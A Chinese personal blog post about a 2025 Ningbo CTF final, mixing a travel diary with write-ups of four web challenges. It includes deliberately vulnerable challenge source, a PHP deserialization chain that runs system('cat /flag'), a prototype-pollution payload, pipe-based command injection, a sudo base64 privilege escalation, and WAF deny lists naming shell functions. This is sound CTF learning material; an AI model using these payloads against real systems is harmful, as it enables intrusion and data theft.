记2025宁波网络安全大赛决赛

记2025宁波市网络安全大赛决赛

纪念自己第一次参加线下赛,还是AWDP。。

前一天还在计划通后一天就打脸了哈哈,最后产出不是很好还是靠队友带了

感谢pabgbai学长和文化木的带飞😇

day0

大热天和huanghunr师傅早上做高铁赶到宁波,尼姆的14点的宁波真是要人命的热啊,好在没有中暑

酒店的位置有点刁钻,对着地图找半天没找到以为被缺德地图坑了

找到指示牌结果不小心做错楼层了(然后我还不知道)

兜兜转转总算拿到房卡铸币

晚上由于其他两个师傅(metavii和kong)来的晚了点,本来说好和老登一起去赤寿喜烧,结果去晚了他们吃完了

号还没到下去溜了一圈都没有发现号过了,前面要等100多桌

含泪走进神必火锅店爆了米

image-20250907192822423

貌似有驻唱,但是没心情去欣赏了说是

回去的时候没仔细看群三个代币买了票结果工作人员给了一张免费体验地铁的券

嗯?坏了,变成小丑了 🤡

day1

紧张刺激的AWD

image-20250907193950287

3h break+2h fix

赛题会放在下面的(你先别急)

11:30之前零产出血压直升,感觉都卡在了某个关键的地方,但是好在肾上腺素发力了出了两道还有一道3解一道0解题卡到最后半小时我直接去fix了

fix第一轮感觉没什么问题,waf拉满结果第一轮check一个没过

血压又高了。。

我以为是漏洞点没修全不给过,就把那几个整数溢出修掉了结果第二轮还是没过就过了一个上waf(听huanghunr师傅说这道题他们一样的修第一轮没过第二轮过了,就加了最重要的管道符)

中间还有小插曲:平台崩掉了

虽然对fix影响不是特别大但是还是给大家乐得不行

最后只有一个fix遗憾退场,一个php反序列化挂满waf不知道为什么没过啊,还有一个原型链服务器显示被waf了还是没check过也是没话好说i

晚上和一堆老登出去恰饭,哎我 这牛排不赖😋

又去逛了一下谷子店,看到了挺多ip但是没看到爱马仕啊…又遗憾离场了

最大的惊喜可能还是只看到海报没看到周边的点兔,绷

image-20250907194654176

当然其实也收获了很多吧,会进攻不一定会防守,还有发现自己的代码审计跟上来了但是自己搓一些片段/脚本还是和史一样之类的。。

其他图片没怎么拍,没啥心情(因为第二天就要返校了,又要上垃圾没营养的水课了懒得喷),而且成果也一般,更没心情了,回来的路上一直在想接下来该怎么整才能提升自己的效率。但是又不能太过于急切到时候根基不稳,离一个能够上桌的weber,怕还是有好一段路要走。

WP

easyUpload

普通上传一张没回显上传路径,F12看一眼

发现了show.php?file=明显的任意文件读

当时不知道怎么了脑抽了没去读源码

读到index.php

break

<?php
Class Dog {
    public $bone;
    public $meat;
    public $beef;
    public $candy;
    public function __invoke() {
        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
            return $this->candy->flag;
        }
    }

    public function __toString() {
        $function = $this->bone;
        return $function();
    }
}

CLass mouse {
    public $rice;

    public function __get($key) {
        @eval($this->rice);
    }
}

class Cat {
    public $fish;
    public function __construct() {
    }

    public function __destruct() {
        echo $this->fish;
    }
}

// 处理文件上传
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['uploaded_file'])) {
        $uploadDir = __DIR__ . '/uploads/';
        $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);

        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
            $message = '上传成功!';
            $success = true;

            $fileContent = file_get_contents($uploadedFile);
            @unlink($uploadedFile);

            @unserialize($fileContent);
            $fileContent = "";

            // 设置 session,表示上传成功
            $_SESSION['upload_success'] = true;

            // 重定向,防止刷新页面时重复提交表单
            header("Location: " . $_SERVER['PHP_SELF']);
            echo $message;
            exit();
        }
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>壁纸上传网站</title>
    <style>
        body {
            background: linear-gradient(135deg, #000000, #ffffff);
            font-family: Arial, sans-serif;
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .container {
            text-align: center;
            background: rgba(255, 255, 255, 0.9);
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 0 15px rgba(0,0,0,0.2);
            width: 400px;
        }
        h1 {
            font-size: 24px;
            margin-bottom: 20px;
            color: #000;
        }
        .message {
            font-size: 18px;
            color: green;
            margin-bottom: 20px;
        }
        input[type="file"] {
            margin: 20px 0;
            font-size: 16px;
        }
        input[type="submit"] {
            background-color: #333;
            color: #fff;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            border-radius: 5px;
        }
        input[type="submit"]:hover {
            background-color: #555;
        }
        .images {
            margin-top: 40px;
        }
        .images-title {
            font-size: 20px;
            font-weight: bold;
            margin-bottom: 20px;
            color: #444;
        }
        .image-item {
            display: inline-block;
            margin: 0 10px;
        }
        .image-item img {
            width: 150px;
            height: 150px;
            border-radius: 10px;
            border: 2px solid #333;
            transition: transform 0.3s;
        }
        .image-item img:hover {
            transform: scale(1.1);
        }
        .image-item a {
            display: block;
            margin-top: 10px;
            color: #333;
            text-decoration: none;
            font-weight: bold;
        }
        .image-item a:hover {
            color: #555;
        }
    </style>
    <script>
        function showSuccessAlert() {
            alert("文件上传成功!");
        }

        // 页面加载后检查是否上传成功
        window.onload = function() {
            <?php if (isset($_SESSION['upload_success']) && $_SESSION['upload_success']) : ?>
            showSuccessAlert();
            <?php
            // 清除 session 中的上传成功状态
            unset($_SESSION['upload_success']);
            endif;
            ?>
        }
    </script>
</head>
<body>
<div class="container">
    <h1>壁纸上传网站</h1>
    <?php if (!empty($message)) : ?>
        <div class="message"><?php echo $message; ?></div>
    <?php endif; ?>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="uploaded_file" required>
        <br>
        <input type="submit" value="上传">
    </form>

    <div class="images">
        <div class="images-title">精美壁纸如下:</div>

        <!-- 图片 1 -->
        <div class="image-item">
            <img src="./img/1.png" alt="壁纸1">
            <a href="/show.php?file=img/1.png" target="_blank">壁纸1</a>
        </div>

        <!-- 图片 2 -->
        <div class="image-item">
            <img src="./img/2.png" alt="壁纸2">
            <a href="/show.php?file=img/2.png" target="_blank">壁纸2</a>
        </div>


    </div>
</div>
</body>
</html>

经典php反序列化,也不难

<?php
Class Dog {
    public $bone;
    public $meat=240610708;
    public $beef="QNKCDZO";
    public $candy;

}

CLass mouse {
    public $rice;


}

class Cat {
    public $fish;


}

$a=new Cat();
$a->fish = new Dog();
$a->fish->bone = new Dog();
$a->fish->bone->candy = new mouse();
$a->fish->bone->candy->rice = "system('cat /flag');";
echo serialize($a);

当成图片的内容提交就可以

还有一个show.php,忘记保存了,用file_get_contents来处理传入的file参数貌似,回头一想其实那边是可以打filter链的

这里fix没过就讲一下我的思路希望有师傅可以指出哪里错了(贴全文太麻烦了就把改了的部分给一下)

$fileContent = file_get_contents($uploadedFile);
            //fix
            if (preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|\?|\*|O|:/i", $fileContent)) {
                die('no!');
            }
            //fix
            @unlink($uploadedFile);
public function __invoke() {
        if ((md5($this->meat) === md5($this->beef)) && ($this->meat != $this->beef)) {
            return $this->candy->flag;
        }
    }

image2base64

break

import os
import re
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):

    ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
    noip = re.compile(r"\d+\.\d+")
    if re.search(ILLEGAL_CHARACTERS, filename):
        return False
    if ".." in filename :
        return False
    if(noip.findall(filename)):
        return False


@app.route('/')
def upload_form():
    return render_template('upload.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({"error": "No file part in the request"}), 400

    file = request.files['file']
    if file.filename == '':
        return jsonify({"error": "No file selected"}), 400
    if(checkname(file.filename)==False):
        return jsonify({"error": "Not hacking!"}), 500
    if file:
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        file.save(file_path)
        result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
        encoded_string = result.stdout.strip()
        return jsonify({
            "filename": file.filename,
            "base64": encoded_string
        })

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

看到subprocess和填充file_path马上心领神会,直接管道符(因为这里;被ban掉了)

后面看这个waf有点麻烦,就没去继续做

后面给了hint:![屏幕截图 2025-09-06 125919](https://kisakiayano.oss-cn-hangzhou.aliyuncs.com/img/屏幕截图 2025-09-06 125919.png)

什么几把看不懂了。。遂不做,后面看了下别人的wp发现这里是要上传一个写了反弹shell命令的文件

再同样的上传,并给filename动手脚用管道符执行shell($0)

这里可以去看ctfshow的极限命令执行,好东西,后悔当初没去学。

后面是sudo免密,其实就是sudo提权读flag

sudo -l

然后发现base64是免密执行bash的

sudo base64 "/f1111llaaa444Aaag9gggg" |base64 -- decode

fix

fix的时候huanghunr师傅说就加了|,我是把它整个checkname函数给重新写了,感觉很难评的一道题

感觉其实原来基础上加一个|就能过,第一次不知道为什么没过,这边fix就不写了,不难写

Easy_shop

break

进去是一个商店购买页面,一眼盯帧就是去刷负数量

美滋滋吃到1500,就可以买到flag。了吗?

并非,后面给了个路由让我们去读flag

/showflag

进去还是任意文件读,不给读flag

读一下源码

const express = require('express');
const app = express();
const fs = require('fs');
const port = 3000;
const bodyParser = require('body-parser');

app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));

let money = 1000;
const initialMoney = 1000;
let message = '';
const products = [
  { name: '帽子', price: 10 },
  { name: '棒球', price: 15 },
  { name: 'iphone', price: 150 },
  { name: 'flag', price: 1500 },
];

app.get('/showflag', (req, res) => {
  res.render('readfile');
});

app.post('/readfile', (req, res) => {
  const fileName = req.body.fileName;

  if (fileName.includes("fl")) {
    return res.status(200).send('你还真读flag啊');
  }
  // 读取文件内容
  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send('Error reading the file');
    } else {
      res.send(data);
    }
  });
});


app.get('/', (req, res) => {
  res.render('index', { products, money, message });
});

app.get('/buy/:productIndex', (req, res) => {
  const productIndex = req.params.productIndex;
  let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

  if (productIndex === '3') {
    quantity = Math.abs(quantity); // 取绝对值
    if (products[productIndex] && money >= products[productIndex].price * quantity) {
      money -= products[productIndex].price * quantity;
      message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;


      res.render('index', { products, money, message, showAlert: true });
    } else {
      message = 'flag很贵的';
      res.redirect('/');
    }
  }else{
    if (products[productIndex] && money >= products[productIndex].price * quantity) {
      money -= products[productIndex].price * quantity;
      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

      // 使用 JavaScript 弹窗来显示购买成功消息
      res.render('index', { products, money, message, showAlert: true });
    } else {
      message = '购买失败,钱不够啊老铁.';
      res.redirect('/');
    }
  }
});



function copy(object1, object2) {
  if (typeof object1 !== 'object' || object1 === null ||
      typeof object2 !== 'object' || object2 === null) {
    return;
  }

  for (let key in object2) {
    if (
      typeof object2[key] === 'object' &&
      object2[key] !== null &&
      typeof object1[key] === 'object' &&
      object1[key] !== null
    ) {
      copy(object1[key], object2[key]); // ✅ 安全递归
    } else {
      object1[key] = object2[key]; // ✅ 直接赋值
    }
  }
}


app.post('/getflag', require('body-parser').json(), function (req, res, next) {
  res.type('html');
  const flagFilePath = '/flag';
  let flag = '';
  fs.readFile(flagFilePath, 'utf8', (err, data) => {
    if (err) {
      console.error(`无法读取文件: ${flagFilePath}`);
    } else {
      flag = data; // 将文件内容赋值给flag变量
      var secert = {};
      var sess = req.session;
      let user = {};
      copy(user, req.body);
      if (secert.testattack === 'admin') {
        res.end(flag);

      } else {
        return res.send("no,no,no!");
      }
    }
  });
});


app.get('/reset', (req, res) => {
  money = initialMoney;
  message = '';
  res.redirect('/');
});

app.listen(port, () => {
  console.log(`Server is running on http://localhost:${port}`);
});

吼吼,原来前面的都没啥用,最主要的在这一块

function copy(object1, object2) {
  if (typeof object1 !== 'object' || object1 === null ||
      typeof object2 !== 'object' || object2 === null) {
    return;
  }

  for (let key in object2) {
    if (
      typeof object2[key] === 'object' &&
      object2[key] !== null &&
      typeof object1[key] === 'object' &&
      object1[key] !== null
    ) {
      copy(object1[key], object2[key]); // ✅ 安全递归
    } else {
      object1[key] = object2[key]; // ✅ 直接赋值
    }
  }
}


app.post('/getflag', require('body-parser').json(), function (req, res, next) {
  res.type('html');
  const flagFilePath = '/flag';
  let flag = '';
  fs.readFile(flagFilePath, 'utf8', (err, data) => {
    if (err) {
      console.error(`无法读取文件: ${flagFilePath}`);
    } else {
      flag = data; // 将文件内容赋值给flag变量
      var secert = {};
      var sess = req.session;
      let user = {};
      copy(user, req.body);
      if (secert.testattack === 'admin') {
        res.end(flag);

      } else {
        return res.send("no,no,no!");
      }
    }
  });
});

看到迭代就知道是原型链污染了

{
  "__proto__": {
    "testattack": "admin"
  }
}

这题没fix出来

function copy(object1, object2) {
    if (typeof object1 !== 'object' || object1 === null ||
        typeof object2 !== 'object' || object2 === null) {
        return;
    }
    for (let key in object2) {
        if (
            typeof object2[key] === 'object' &&
            object2[key] !== null &&
            typeof object1[key] === 'object' &&
            object1[key] !== null
        ) {
            copy(object1[key], object2[key]); // ✅ 安全递归
        } else {
        	//fix
            if (key.includes("admin")){
                throw Error("no")
            }//fix
            else{
                object1[key] = object2[key]; 
            }
        }
    }
}


app.post('/getflag', require('body-parser').json(), function (req, res, next) {
    res.type('html');
    const flagFilePath = '/flag';
    let flag = '';
    fs.readFile(flagFilePath, 'utf8', (err, data) => {
        if (err) {
            console.error(`无法读取文件: ${flagFilePath}`);
        } else {
            flag = data; // 将文件内容赋值给flag变量
            //fix
            var secert = {"testattack":"user"};
            //fix
            var sess = req.session;
            let user = {};
            copy(user, req.body);
            if (secert.testattack === 'admin') {
                res.end(flag);

            } else {
                return res.send("no,no,no!");
            }
        }
    });
});

还修了一个整数溢出防止钱反而增加

结果等平台攻击完的日志里都能看到Exception:no还没fix也是闹麻了

这里贴一下其他师傅的fix吧

app.post('/readfile', (req, res) => {
  const fileName = req.body.fileName;

  if (fileName.includes("fl")) {
    return res.status(200).send('你还真读flag啊');
  }
  // 阻止读取源码
  if (fileName.includes("ap")) {
    return res.status(200).send('你还真读app.js啊');
  }
  // 读取文件内容
  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send('Error reading the file');
    } else {
      res.send(data);
    }
  });
});

app.get('/buy/:productIndex', (req, res) => {
  const productIndex = req.params.productIndex;
  let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

  if (productIndex === '3') {
    quantity = Math.abs(quantity); // 取绝对值
    if (products[productIndex] && money >= products[productIndex].price * quantity) {
      money -= products[productIndex].price * quantity;
      message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;

      res.render('index', { products, money, message, showAlert: true });
    } else {
      message = 'flag很贵的';
      res.redirect('/');
    }
  }else{
    // 模仿上面对数量做绝对值,防止购买负数增加金钱
    quantity = Math.abs(quantity); // 取绝对值
    if (products[productIndex] && money >= products[productIndex].price * quantity) {
      money -= products[productIndex].price * quantity;
      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

      // 使用 JavaScript 弹窗来显示购买成功消息
      res.render('index', { products, money, message, showAlert: true });
    } else {
      message = '购买失败,钱不够啊老铁.';
      res.redirect('/');
    }
  }
});


function copy(object1, object2) {
  if (typeof object1 !== 'object' || object1 === null ||
      typeof object2 !== 'object' || object2 === null) {
    return;
  }

  for (let key in object2) {
    // 过滤原型链污染常用字符串
    if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
      continue;
    }

    if (
      typeof object2[key] === 'object' &&
      object2[key] !== null &&
      typeof object1[key] === 'object' &&
      object1[key] !== null
    ) {
      copy(object1[key], object2[key]); // ✅ 安全递归
    } else {
      object1[key] = object2[key]; // ✅ 直接赋值
    }
  }
}

其实感觉把原型链防掉就可以,因为毕竟关键点是在最后的,只是不知道它这个check过的判定到底是什么,实在没懂

genshop

这道是0解题嘻嘻,端口都连不上SSRF拿头做,一直timed out ,不知道是不是我的问题。

hint貌似 是5000端口SSRF+SSTI,中间还有一个hint忘记了

直接贴源码吧

#/app/app.py
from flask import Flask, request, send_file
import socket

app = Flask("webserver")


@app.route('/', methods=["GET"])
def index():
    return send_file(__file__)


@app.route('/nc', methods=["POST"])
def nc():
    try:
        dstport = int(request.form['port'])
        data = request.form['data']
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect(('127.0.0.1', dstport))
        s.send(data.encode())
        recvdata = b''
        while True:
            chunk = s.recv(2048)
            if not chunk.strip():
                break
            else:
                recvdata += chunk
                continue
        return recvdata
    except Exception as e:
        return str(e)


app.run(host="0.0.0.0", port=8080, threaded=True)
#/app/backend/app.py
import binascii
import os
import random
from flask import Flask, request, render_template_string, session
import numpy as np
from flask_limiter import Limiter
import uuid


def get_user() -> str:
    if 'user_id' not in session:
        session['user_id'] = uuid.uuid4()
    return session['user_id']


app = Flask(__name__)

app.config['SECRET_KEY'] = binascii.hexlify(os.urandom(24)).decode('utf-8')
limiter = Limiter(app=app, key_func=get_user, default_limits=['5/minute'])
letters = ['A', 'B', 'C', 'D', 'E', 'F', 'G']


@app.errorhandler(429)
def handle_exception(e):
    return render_template_string('<h1>How about we access this page later?</h1>')


@app.route('/')
def index():
    return "Welcome to the genshop"


def waf(s):
    blacklist1 = ['args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\'
                  'globals', 'builtin', 'base', 'sub', '?',
                  '{{', '}}', '.','attr','value','read','popen','flag','/','cat','base']
    if any(c in s for c in blacklist1):
        raise ValueError('What are you f* doing, guys?')
    blacklist2 = ['config', 'self']
    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist2]) + s


def stimulate():
    initial_5_star_rate = 0.6 / 100
    total_draws = 0
    start_increasing_at = 74
    end_increasing_at = 91
    current_5_star_rate = initial_5_star_rate
    while True:
        total_draws += 1
        if total_draws >= start_increasing_at and total_draws < end_increasing_at:
            current_5_star_rate += 0.06
        if random.random() < current_5_star_rate:
            break
    return total_draws


@app.route('/reset')
def reset():
    session['money'] = 0
    session['user_id'] = uuid.uuid4()
    limiter.reset()
    return "success"

@app.route('/gift')
@limiter.limit("1/hour")
def get_money():
    int_money = 0
    if 'money' in request.args:
        if int(request.args.get('money')) < 80:
            int_money = int(request.args.get('money'))
        else:
            return "You are so greedy!"
    session['money'] = (int_money + session['money']) if 'money' in session.keys() else int_money
    return f"friend give you {int_money} money"


@app.route('/money')
def query_money():
    if 'money' in session.keys():
        return str(session.get('money'))
    else:
        return '0'


@app.route('/chest')
@limiter.limit("1/hour")
def get_chest():
    if 'money' in session:
        int_money = int(session.get('money'))
    else:
        int_money = 0
    money = int_money
    num = random.randint(0, 101)
    if num < 20:
        money += 1
        chest_type = "common"
    elif 20 <= num < 60:
        money += 2
        chest_type = "exquisite"
    elif 60 <= num < 77:
        money += 3
        chest_type = "precious"
    elif 77 <= num < 99:
        money += 4
        chest_type = "remarkable"
    else:
        money += 5
        chest_type = "shrine"

    session['money'] = money
    return f"Congratulations! You found a {chest_type} chest"


@app.route('/genshop', methods=["POST"])
def get_letter():
    letter = request.form.get("letter")
    if letter is None:
        return "Please choose a letter"
    try:
        money = int(session.get('money')) or 0
    except Exception as e:
        money = 0
    money = np.array(money)
    money -= stimulate() * 5000
    try:
        if money < 0:
            result = "You don't have enough money"
        else:
            session['money'] = 0
            letter = waf(letter)
            result = "You are not allowed to use this letter"
            if letter not in letters:
                result = f"The {letter} is not in the genshop"
            else:
                result = f"Congratulations! You get the letter: {letter}"
    except Exception as e:
        result = str(e)
    return render_template_string(f"<h3>{result}</h3>")


if __name__ == '__main__':
    app.run()

break

虽说0解

但是可以现在回来再看看呢

先看一下waf在干什么

def waf(s):
    blacklist1 = ['args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\'
                  'globals', 'builtin', 'base', 'sub', '?',
                  '{{', '}}', '.','attr','value','read','popen','flag','/','cat','base']
    if any(c in s for c in blacklist1):
        raise ValueError('What are you f* doing, guys?')
    blacklist2 = ['config', 'self']
    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist2]) + s

上了两层waf,第一层就是简单的检测,第二层是在字符串前面拼接{% set config=None %}{% set self=None %}把config和self给覆盖掉了

主要的代码是在/genshop的路由下

来看一下路由逻辑

1.每次提交letter的都要消耗一定的money
2.每次提交的letter会经过waf接着被渲染到页面上(实际就是SSTI)

stimulate() * 5000这里的stimulate函数经过测试,会产生100以内的数

其中88以上的数字频率就很低了,但是这个数字还是很大说实话

然后就卡住了。

fix

fix看别人的反而挺简单的

# return render_template_string(f"<h3>{result}</h3>")
return f"<h3>{result}</h3>"

我是上了一堆waf结果还是没拦住,也不知道啥问题,想过把动态渲染换成静态但是发现render_template_string的我写不来嘻嘻()

只会render和render_template,当时比赛的时候时间来不及了本地也没测过,属于因小失大了